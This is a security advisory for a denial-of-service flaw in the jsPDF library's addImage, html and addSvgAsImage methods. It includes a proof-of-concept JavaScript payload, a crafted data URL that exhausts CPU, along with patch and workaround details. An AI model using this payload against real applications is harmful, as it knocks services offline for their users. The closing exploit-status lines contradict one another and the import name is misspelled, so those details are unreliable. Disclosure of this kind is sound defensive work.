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GHSA-w532-jxjh-hjhj
No affected components available
Impact
User control of the first argument of the addImage method results in CPU utilization and denial of service.
If given the possibility to pass unsanitized image urls to the addImage method, a user can provide a harmful data-url that results in high CPU utilization and denial of service.
Other affected methods are: html, addSvgAsImage.
Example payload:
import { jsPDF } from "jpsdf"
const doc = new jsPDF();
const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\x00base64,undefined';
const startTime = performance.now()
try {
doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW");
} catch (err) {
const endTime = performance.now()
console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`)
}
doc.save("a4.pdf");
Patches
The vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1
Workarounds
Sanitize image urls before passing it to the addImage method or one of the other affected methods.
Credits
Researcher: Aleksey Solovev (Positive Technologies)
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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